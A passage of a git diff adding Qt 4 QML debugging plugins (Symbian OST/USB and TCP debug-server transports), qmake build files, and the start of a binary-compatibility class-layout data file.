+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QMLOSTPLUGIN_H
+#define QMLOSTPLUGIN_H
+
+#include <QtGui/QStylePlugin>
+#include <QtDeclarative/private/qdeclarativedebugserverconnection_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeDebugServer;
+class QmlOstPluginPrivate;
+
+class QmlOstPlugin : public QObject, public QDeclarativeDebugServerConnection
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QmlOstPlugin)
+ Q_DISABLE_COPY(QmlOstPlugin)
+ Q_INTERFACES(QDeclarativeDebugServerConnection)
+
+
+public:
+ QmlOstPlugin();
+ ~QmlOstPlugin();
+
+ void setServer(QDeclarativeDebugServer *server);
+ void setPort(int port, bool bock);
+
+ bool isConnected() const;
+ void send(const QByteArray &message);
+ void disconnect();
+ bool waitForMessage();
+
+private Q_SLOTS:
+ void readyRead();
+
+private:
+ QmlOstPluginPrivate *d_ptr;
+};
+
+QT_END_NAMESPACE
+
+#endif // QMLOSTPLUGIN_H
diff --git a/src/plugins/qmltooling/qmldbg_ost/qostdevice.cpp b/src/plugins/qmltooling/qmldbg_ost/qostdevice.cpp
new file mode 100644
index 00000000..31030585
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_ost/qostdevice.cpp
@@ -0,0 +1,220 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qostdevice.h"
+#include <e32base.h>
+
+#include "usbostcomm.h"
+
+class QOstDevicePrivate : public CActive
+{
+ QOstDevice* q_ptr;
+ Q_DECLARE_PUBLIC(QOstDevice)
+
+public:
+ QOstDevicePrivate() : CActive(CActive::EPriorityStandard) {
+ CActiveScheduler::Add(this);
+ }
+ ~QOstDevicePrivate() {
+ Cancel();
+ }
+
+ TInt& AoFlags() { return ((TInt*)&iStatus)[1]; }
+
+private:
+ void RunL();
+ void DoCancel();
+
+private:
+ RUsbOstComm ost;
+ TBuf8<4096> readBuf;
+ QByteArray dataBuf;
+ TBool inReadyRead;
+};
+
+QOstDevice::QOstDevice(QObject *parent) :
+ QIODevice(parent), d_ptr(new QOstDevicePrivate)
+{
+ d_ptr->q_ptr = this;
+}
+
+QOstDevice::~QOstDevice()
+{
+ close();
+ delete d_ptr;
+}
+
+bool QOstDevice::open(int ostProtocolId)
+{
+ if (isOpen())
+ return false;
+
+ Q_D(QOstDevice);
+ TInt err = d->ost.Connect();
+ if (!err) err = d->ost.Open();
+ const TVersion KRequiredVersion(1,1,0);
+ TVersion version = d->ost.Version();
+ if (version.iMajor < KRequiredVersion.iMajor ||
+ (version.iMajor == KRequiredVersion.iMajor && version.iMinor < KRequiredVersion.iMinor)) {
+ setErrorString("CODA version too old. At least version 4.0.18 (without TRK) is required.");
+ return false;
+ }
+
+ if (!err) err = d->ost.RegisterProtocolID((TOstProtIds)ostProtocolId, EFalse);
+ if (!err) {
+ d->ost.ReadMessage(d->iStatus, d->readBuf);
+ d->SetActive();
+ return QIODevice::open(ReadWrite | Unbuffered);
+ }
+ return false;
+}
+
+void QOstDevicePrivate::RunL()
+{
+ Q_Q(QOstDevice);
+ //qDebug("QOstDevice received %d bytes q=%x", readBuf.Size(), q);
+ if (iStatus == KErrNone) {
+ QByteArray data = QByteArray::fromRawData((const char*)readBuf.Ptr(), readBuf.Size());
+ dataBuf.append(data);
+
+ readBuf.Zero();
+ ost.ReadMessage(iStatus, readBuf);
+ SetActive();
+
+ if (!inReadyRead) {
+ inReadyRead = true;
+ emit q->readyRead();
+ inReadyRead = false;
+ }
+ } else {
+ q->setErrorString(QString("Error %1 from RUsbOstComm::ReadMessage()").arg(iStatus.Int()));
+ }
+ //qDebug("-QOstDevicePrivate RunL");
+}
+
+void QOstDevicePrivate::DoCancel()
+{
+ ost.ReadCancel();
+}
+
+void QOstDevice::close()
+{
+ Q_D(QOstDevice);
+ QIODevice::close();
+ d->Cancel();
+ // RDbgTrcComm::Close isn't safe to call when not open, sigh
+ if (d->ost.Handle()) {
+ d->ost.Close();
+ }
+}
+
+qint64 QOstDevice::readData(char *data, qint64 maxSize)
+{
+ Q_D(QOstDevice);
+ if (d->dataBuf.length() == 0 && !d->IsActive())
+ return -1;
+ qint64 available = qMin(maxSize, (qint64)d->dataBuf.length());
+ memcpy(data, d->dataBuf.constData(), available);
+ d->dataBuf.remove(0, available);
+ return available;
+}
+
+static const TInt KMaxOstPacketLen = 4096;
+
+qint64 QOstDevice::writeData(const char *data, qint64 maxSize)
+{
+ Q_D(QOstDevice);
+ TPtrC8 ptr((const TUint8*)data, (TInt)maxSize);
+ while (ptr.Length()) {
+ TPtrC8 fragment = ptr.Left(qMin(ptr.Length(), KMaxOstPacketLen));
+ //qDebug("QOstDevice writing %d bytes", fragment.Length());
+ TRequestStatus stat;
+ d->ost.WriteMessage(stat, fragment);
+ User::WaitForRequest(stat);
+ if (stat.Int() != KErrNone) {
+ setErrorString(QString("Error %1 from RUsbOstComm::WriteMessage()").arg(stat.Int()));
+ return -1;
+ }
+ ptr.Set(ptr.Mid(fragment.Length()));
+ }
+ emit bytesWritten(maxSize); //TODO does it matter this is emitted synchronously?
+ //qDebug("QOstDevice wrote %d bytes", ptr.Size());
+ return maxSize;
+}
+
+qint64 QOstDevice::bytesAvailable() const
+{
+ Q_D(const QOstDevice);
+ return d->dataBuf.length();
+}
+
+bool QOstDevice::waitForReadyRead(int msecs)
+{
+ Q_D(QOstDevice);
+ if (msecs >= 0) {
+ RTimer timer;
+ TInt err = timer.CreateLocal();
+ if (err) return false;
+ TRequestStatus timeoutStat;
+ timer.After(timeoutStat, msecs*1000);
+ User::WaitForRequest(timeoutStat, d->iStatus);
+ if (timeoutStat != KRequestPending) {
+ // Timed out
+ timer.Close();
+ return false;
+ } else {
+ // We got data, so cancel timer
+ timer.Cancel();
+ User::WaitForRequest(timeoutStat);
+ timer.Close();
+ // And drop through
+ }
+ } else {
+ // Just wait forever for data
+ User::WaitForRequest(d->iStatus);
+ }
+
+ // If we get here we have data
+ TInt err = d->iStatus.Int();
+ d->AoFlags() &= ~3; // This is necessary to clean up the scheduler as you're not supposed to bypass it like this
+ TRAP_IGNORE(d->RunL());
+ return err == KErrNone;
+}
diff --git a/src/plugins/qmltooling/qmldbg_ost/qostdevice.h b/src/plugins/qmltooling/qmldbg_ost/qostdevice.h
new file mode 100644
index 00000000..0601bc3b
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_ost/qostdevice.h
@@ -0,0 +1,77 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QOSTDEVICE_H
+#define QOSTDEVICE_H
+
+#include <QtCore/QIODevice>
+
+QT_BEGIN_NAMESPACE
+
+class QOstDevicePrivate;
+
+class QOstDevice : public QIODevice
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QOstDevice)
+ Q_DISABLE_COPY(QOstDevice)
+
+public:
+ explicit QOstDevice(QObject *parent=0);
+ ~QOstDevice();
+
+ bool open(int ostProtocolId);
+ void close();
+
+ bool waitForReadyRead(int msecs);
+ qint64 bytesAvailable() const;
+
+protected:
+ qint64 readData(char *data, qint64 maxSize);
+ qint64 writeData(const char *data, qint64 maxSize);
+
+private:
+ QOstDevicePrivate* d_ptr;
+};
+
+QT_END_NAMESPACE
+
+#endif // QOSTDEVICE_H
diff --git a/src/plugins/qmltooling/qmldbg_ost/usbostcomm.h b/src/plugins/qmltooling/qmldbg_ost/usbostcomm.h
new file mode 100644
index 00000000..552543bf
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_ost/usbostcomm.h
@@ -0,0 +1,191 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef USBHOSTCOMM_H
+#define USBHOSTCOMM_H
+
+// Based on the official usbostrouter header, modified to remove dependancy on
+// the client DLL
+
+#include <e32base.h>
+
+typedef int TOstProtIds;
+
+class RUsbOstComm : public RSessionBase
+{
+public:
+ RUsbOstComm();
+ TInt Connect();
+ TInt Disconnect();
+ TInt Open();
+ TInt Close();
+ TInt RegisterProtocolID(TOstProtIds aId, TBool aNeedHeader);
+ void ReadMessage(TRequestStatus& aStatus, TDes8& aDes);
+ TInt ReadCancel();
+ void WriteMessage(TRequestStatus& aStatus, const TDesC8& aDes, TBool aHasHeader=EFalse);
+ TVersion Version() const;
+
+private:
+ enum TUsbOstCmdCode
+ {
+ EUsbOstCmdCodeFirst,
+ EUsbOstCmdConnect,
+ EUsbOstCmdDisconnect,
+ EUsbOstCmdCodeGetAcmConfig,
+ EUsbOstCmdCodeSetAcmConfig,
+ EUsbOstCmdCodeOpen,
+ EUsbOstCmdCodeClose,
+ EUsbOstCmdCodeRegisterId,
+ EUsbOstCmdCodeRegisterIds,
+ EUsbOstCmdCodeUnRegisterId,
+ EUsbOstCmdCodeUnRegisterIds,
+ EUsbOstCmdCodeReadMsg,
+ EUsbOstCmdCodeReadCancel,
+ EUsbOstCmdCodeWriteMsg,
+ EUsbOstCmdCodeWriteCancel,
+ EUsbOstCmdCodeLast
+ };
+};
+
+RUsbOstComm::RUsbOstComm()
+{
+}
+
+TInt RUsbOstComm::Connect()
+{
+ _LIT(KUsbOstServerName, "!UsbOstRouter");
+ _LIT(KUsbOstServerImageName, "usbostrouter");
+ const TUid KUsbOstServerUid = { 0x200170BE };
+ TInt startupAttempts = 2;
+ for(;;) {
+ TInt ret = CreateSession(KUsbOstServerName, TVersion(1,0,0));
+ if (ret != KErrNotFound && ret != KErrServerTerminated) {
+ return ret;
+ }
+
+ if (startupAttempts-- == 0) {
+ return ret;
+ }
+
+ RProcess server;
+ ret = server.Create(KUsbOstServerImageName, KNullDesC, KUsbOstServerUid);
+ if (ret != KErrNone)
+ return ret;
+
+ TRequestStatus serverDiedRequestStatus;
+ server.Rendezvous(serverDiedRequestStatus);
+
+ if (serverDiedRequestStatus != KRequestPending) {
+ // Abort startup
+ server.Kill(KErrNone);
+ } else {
+ // Logon OK - start the server
+ server.Resume();
+ }
+ User::WaitForRequest(serverDiedRequestStatus);
+ ret = (server.ExitType() == EExitPanic) ? KErrGeneral : serverDiedRequestStatus.Int();
+ server.Close();
+
+ if (ret != KErrNone && ret != KErrAlreadyExists) {
+ return ret;
+ }
+ }
+}
+
+TInt RUsbOstComm::Disconnect()
+{
+ return SendReceive(EUsbOstCmdDisconnect);
+}
+
+TInt RUsbOstComm::Open()
+{
+ return SendReceive(EUsbOstCmdCodeOpen);
+}
+
+TInt RUsbOstComm::Close()
+{
+ TInt err = SendReceive(EUsbOstCmdCodeClose);
+ RHandleBase::Close();
+ return err;
+}
+
+TInt RUsbOstComm::RegisterProtocolID(const TOstProtIds aId, TBool aNeedHeader)
+{
+ TIpcArgs args(aId, aNeedHeader);
+ return SendReceive(EUsbOstCmdCodeRegisterId, args);
+}
+
+void RUsbOstComm::ReadMessage(TRequestStatus& aStatus, TDes8& aDes)
+{
+ TIpcArgs args(aDes.MaxLength(), &aDes);
+ SendReceive(EUsbOstCmdCodeReadMsg, args, aStatus);
+}
+
+TInt RUsbOstComm::ReadCancel()
+{
+ return SendReceive(EUsbOstCmdCodeReadCancel);
+}
+
+void RUsbOstComm::WriteMessage(TRequestStatus& aStatus, const TDesC8& aDes, TBool aHasHeader)
+{
+ TIpcArgs args(aHasHeader, aDes.Length(), &aDes);
+ SendReceive(EUsbOstCmdCodeWriteMsg, args, aStatus);
+}
+
+typedef TVersion (*TVersionFunction)(const RUsbOstComm*);
+const TInt KVersionOrdinal = 17;
+
+TVersion RUsbOstComm::Version() const
+{
+ // This function has to go to the DLL, unfortunately
+ TVersion result; // Return 0.0.0 on any error
+ RLibrary lib;
+ TInt err = lib.Load(_L("usbostcomm"));
+ if (err) return result;
+
+ TLibraryFunction fn = lib.Lookup(KVersionOrdinal);
+ if (fn)
+ result = ((TVersionFunction)fn)(this);
+ lib.Close();
+ return result;
+}
+
+#endif //USBHOSTCOMM_H
diff --git a/src/plugins/qmltooling/qmldbg_tcp/qmldbg_tcp.pro b/src/plugins/qmltooling/qmldbg_tcp/qmldbg_tcp.pro
new file mode 100644
index 00000000..e8ab962d
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_tcp/qmldbg_tcp.pro
@@ -0,0 +1,18 @@
+TARGET = qmldbg_tcp
+QT += declarative network
+
+include(../../qpluginbase.pri)
+
+QTDIR_build:DESTDIR = $$QT_BUILD_TREE/plugins/qmltooling
+QTDIR_build:REQUIRES += "contains(QT_CONFIG, declarative)"
+
+SOURCES += \
+ qtcpserverconnection.cpp
+
+HEADERS += \
+ qtcpserverconnection.h
+
+target.path += $$[QT_INSTALL_PLUGINS]/qmltooling
+INSTALLS += target
+
+symbian:TARGET.UID3=0x20031E90
diff --git a/src/plugins/qmltooling/qmldbg_tcp/qtcpserverconnection.cpp b/src/plugins/qmltooling/qmldbg_tcp/qtcpserverconnection.cpp
new file mode 100644
index 00000000..01aa97a3
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_tcp/qtcpserverconnection.cpp
@@ -0,0 +1,198 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qtcpserverconnection.h"
+
+#include <QtCore/qplugin.h>
+#include <QtNetwork/qtcpserver.h>
+#include <QtNetwork/qtcpsocket.h>
+
+#include <private/qdeclarativedebugserver_p.h>
+#include <private/qpacketprotocol_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QTcpServerConnectionPrivate {
+public:
+ QTcpServerConnectionPrivate();
+
+ int port;
+ bool block;
+ QTcpSocket *socket;
+ QPacketProtocol *protocol;
+ QTcpServer *tcpServer;
+
+ QDeclarativeDebugServer *debugServer;
+};
+
+QTcpServerConnectionPrivate::QTcpServerConnectionPrivate() :
+ port(0),
+ block(false),
+ socket(0),
+ protocol(0),
+ tcpServer(0),
+ debugServer(0)
+{
+}
+
+QTcpServerConnection::QTcpServerConnection() :
+ d_ptr(new QTcpServerConnectionPrivate)
+{
+
+}
+
+QTcpServerConnection::~QTcpServerConnection()
+{
+ delete d_ptr;
+}
+
+void QTcpServerConnection::setServer(QDeclarativeDebugServer *server)
+{
+ Q_D(QTcpServerConnection);
+ d->debugServer = server;
+}
+
+bool QTcpServerConnection::isConnected() const
+{
+ Q_D(const QTcpServerConnection);
+ return d->socket && d->socket->state() == QTcpSocket::ConnectedState;
+}
+
+void QTcpServerConnection::send(const QByteArray &message)
+{
+ Q_D(QTcpServerConnection);
+
+ if (!isConnected()
+ || !d->protocol || !d->socket)
+ return;
+
+ QPacket pack;
+ pack.writeRawData(message.data(), message.length());
+
+ d->protocol->send(pack);
+ d->socket->flush();
+}
+
+void QTcpServerConnection::disconnect()
+{
+ Q_D(QTcpServerConnection);
+
+ // protocol might still be processing packages at this point
+ d->protocol->deleteLater();
+ d->protocol = 0;
+ d->socket->deleteLater();
+ d->socket = 0;
+}
+
+bool QTcpServerConnection::waitForMessage()
+{
+ Q_D(QTcpServerConnection);
+ if (d->protocol->packetsAvailable() > 0) {
+ QPacket packet = d->protocol->read();
+ d->debugServer->receiveMessage(packet.data());
+ return true;
+ } else {
+ return d->protocol->waitForReadyRead(-1);
+ }
+}
+
+void QTcpServerConnection::setPort(int port, bool block)
+{
+ Q_D(QTcpServerConnection);
+ d->port = port;
+ d->block = block;
+
+ listen();
+ if (block)
+ d->tcpServer->waitForNewConnection(-1);
+}
+
+void QTcpServerConnection::listen()
+{
+ Q_D(QTcpServerConnection);
+
+ d->tcpServer = new QTcpServer(this);
+ QObject::connect(d->tcpServer, SIGNAL(newConnection()), this, SLOT(newConnection()));
+ if (d->tcpServer->listen(QHostAddress::Any, d->port)) {
+ qDebug("QDeclarativeDebugServer: Waiting for connection on port %d...", d->port);
+ } else {
+ qWarning("QDeclarativeDebugServer: Unable to listen on port %d", d->port);
+ }
+}
+
+
+void QTcpServerConnection::readyRead()
+{
+ Q_D(QTcpServerConnection);
+ if (!d->protocol)
+ return;
+
+ while (d->protocol->packetsAvailable() > 0) {
+ QPacket packet = d->protocol->read();
+ d->debugServer->receiveMessage(packet.data());
+ }
+}
+
+void QTcpServerConnection::newConnection()
+{
+ Q_D(QTcpServerConnection);
+
+ if (d->socket) {
+ qWarning("QDeclarativeDebugServer: Another client is already connected");
+ QTcpSocket *faultyConnection = d->tcpServer->nextPendingConnection();
+ delete faultyConnection;
+ return;
+ }
+
+ d->socket = d->tcpServer->nextPendingConnection();
+ d->socket->setParent(this);
+ d->protocol = new QPacketProtocol(d->socket, this);
+ QObject::connect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead()));
+
+ if (d->block) {
+ d->protocol->waitForReadyRead(-1);
+ }
+}
+
+Q_EXPORT_PLUGIN2(tcpserver, QTcpServerConnection)
+
+QT_END_NAMESPACE
+
diff --git a/src/plugins/qmltooling/qmldbg_tcp/qtcpserverconnection.h b/src/plugins/qmltooling/qmldbg_tcp/qtcpserverconnection.h
new file mode 100644
index 00000000..d3b23336
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_tcp/qtcpserverconnection.h
@@ -0,0 +1,84 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QTCPSERVERCONNECTION_H
+#define QTCPSERVERCONNECTION_H
+
+#include <QtDeclarative/private/qdeclarativedebugserverconnection_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeDebugServer;
+class QTcpServerConnectionPrivate;
+class QTcpServerConnection : public QObject, public QDeclarativeDebugServerConnection
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QTcpServerConnection)
+ Q_DISABLE_COPY(QTcpServerConnection)
+ Q_INTERFACES(QDeclarativeDebugServerConnection)
+
+
+public:
+ QTcpServerConnection();
+ ~QTcpServerConnection();
+
+ void setServer(QDeclarativeDebugServer *server);
+ void setPort(int port, bool bock);
+
+ bool isConnected() const;
+ void send(const QByteArray &message);
+ void disconnect();
+ bool waitForMessage();
+
+ void listen();
+ void waitForConnection();
+
+private Q_SLOTS:
+ void readyRead();
+ void newConnection();
+
+private:
+ QTcpServerConnectionPrivate *d_ptr;
+};
+
+QT_END_NAMESPACE
+
+#endif // QTCPSERVERCONNECTION_H
diff --git a/src/plugins/qmltooling/qmltooling.pro b/src/plugins/qmltooling/qmltooling.pro
new file mode 100644
index 00000000..8220109e
--- /dev/null
+++ b/src/plugins/qmltooling/qmltooling.pro
@@ -0,0 +1,4 @@
+TEMPLATE = subdirs
+
+SUBDIRS = qmldbg_tcp qmldbg_inspector
+symbian:SUBDIRS += qmldbg_ost
diff --git a/src/plugins/qpluginbase.pri b/src/plugins/qpluginbase.pri
new file mode 100644
index 00000000..b2a7cf29
--- /dev/null
+++ b/src/plugins/qpluginbase.pri
@@ -0,0 +1,41 @@
+TEMPLATE = lib
+isEmpty(QT_MAJOR_VERSION) {
+ VERSION=4.8.0
+} else {
+ VERSION=$${QT_MAJOR_VERSION}.$${QT_MINOR_VERSION}.$${QT_PATCH_VERSION}
+}
+CONFIG += qt plugin
+
+win32|mac:!wince*:!win32-msvc:!macx-xcode:CONFIG += debug_and_release
+TARGET = $$qtLibraryTarget($$TARGET)
+contains(QT_CONFIG, reduce_exports):CONFIG += hide_symbols
+
+include(../qt_targets.pri)
+
+wince*:LIBS += $$QMAKE_LIBS_GUI
+
+symbian: {
+ TARGET.EPOCALLOWDLLDATA=1
+ TARGET.CAPABILITY = All -Tcb
+ TARGET = $${TARGET}$${QT_LIBINFIX}
+ load(armcc_warnings)
+
+ # Make partial upgrade SIS file for Qt plugin dll's
+ # Partial upgrade SIS file
+ vendorinfo = \
+ "; Localised Vendor name" \
+ "%{\"Nokia\"}" \
+ " " \
+ "; Unique Vendor name" \
+ ":\"Nokia, Qt\"" \
+ " "
+ isEmpty(QT_LIBINFIX): PARTIAL_UPGRADE_UID = 0x2001E61C
+ else: PARTIAL_UPGRADE_UID = 0xE001E61C
+
+ pu_header = "; Partial upgrade package for testing $${TARGET} changes without reinstalling everything" \
+ "$${LITERAL_HASH}{\"$${TARGET}\"}, ($$PARTIAL_UPGRADE_UID), $${QT_MAJOR_VERSION},$${QT_MINOR_VERSION},$${QT_PATCH_VERSION}, TYPE=PU,RU"
+ partial_upgrade.pkg_prerules = pu_header vendorinfo
+ partial_upgrade.files = $$QMAKE_LIBDIR_QT/$${TARGET}.dll
+ partial_upgrade.path = c:/sys/bin
+ DEPLOYMENT += partial_upgrade
+}
diff --git a/src/qt_targets.pri b/src/qt_targets.pri
new file mode 100644
index 00000000..ec15869b
--- /dev/null
+++ b/src/qt_targets.pri
@@ -0,0 +1,4 @@
+QMAKE_TARGET_COMPANY = Nokia Corporation and/or its subsidiary(-ies)
+QMAKE_TARGET_PRODUCT = Qt4
+QMAKE_TARGET_DESCRIPTION = C++ application development framework.
+QMAKE_TARGET_COPYRIGHT = Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
diff --git a/tests/auto/bic/data/QtDeclarative.4.7.0.linux-gcc-ia32.txt b/tests/auto/bic/data/QtDeclarative.4.7.0.linux-gcc-ia32.txt
new file mode 100644
index 00000000..67ea6a6d
--- /dev/null
+++ b/tests/auto/bic/data/QtDeclarative.4.7.0.linux-gcc-ia32.txt
@@ -0,0 +1,18158 @@
+Class QSysInfo
+ size=1 align=1
+ base size=0 base align=1
+QSysInfo (0xb6d65c6c) 0 empty
+
+Class QBool
+ size=1 align=1
+ base size=1 base align=1
+QBool (0xb6d65e10) 0
+
+Class qIsNull(double)::U
+ size=8 align=4
+ base size=8 base align=4
+qIsNull(double)::U (0xb63b34ec) 0
+
+Class qIsNull(float)::U
+ size=4 align=4
+ base size=4 base align=4
+qIsNull(float)::U (0xb63b35a0) 0
+
+Class QFlag
+ size=4 align=4
+ base size=4 base align=4
+QFlag (0xb63b3dd4) 0
+
+Class QIncompatibleFlag
+ size=4 align=4
+ base size=4 base align=4
+QIncompatibleFlag (0xb63b3f00) 0
+
+Class QInternal
+ size=1 align=1
+ base size=0 base align=1
+QInternal (0xb5b34078) 0 empty
+
+Class QGenericArgument
+ size=8 align=4
+ base size=8 base align=4
+QGenericArgument (0xb5b340b4) 0
+
+Class QGenericReturnArgument
+ size=8 align=4
+ base size=8 base align=4
+QGenericReturnArgument (0xb5b096c0) 0
+ QGenericArgument (0xb5b342d0) 0
+
+Class QMetaObject
+ size=16 align=4
+ base size=16 base align=4
+QMetaObject (0xb5b34474) 0
+
+Class QMetaObjectExtraData
+ size=8 align=4
+ base size=8 base align=4
+QMetaObjectExtraData (0xb5b345a0) 0
+
+Class QLatin1Char
+ size=1 align=1
+ base size=1 base align=1
+QLatin1Char (0xb5b34780) 0
+
+Class QChar
+ size=2 align=2
+ base size=2 base align=2
+QChar (0xb5b34960) 0
+
+Class QBasicAtomicInt
+ size=4 align=4
+ base size=4 base align=4
+QBasicAtomicInt (0xb599a0b4) 0
+
+Class QAtomicInt
+ size=4 align=4
+ base size=4 base align=4
+QAtomicInt (0xb59c4000) 0
+ QBasicAtomicInt (0xb599a7bc) 0
+
+Class __locale_struct
+ size=116 align=4
+ base size=116 base align=4
+__locale_struct (0xb599aca8) 0
+
+Class QByteArray::Data
+ size=20 align=4
+ base size=20 base align=4
+QByteArray::Data (0xb59eb12c) 0
+
+Class QByteArray
+ size=4 align=4
+ base size=4 base align=4
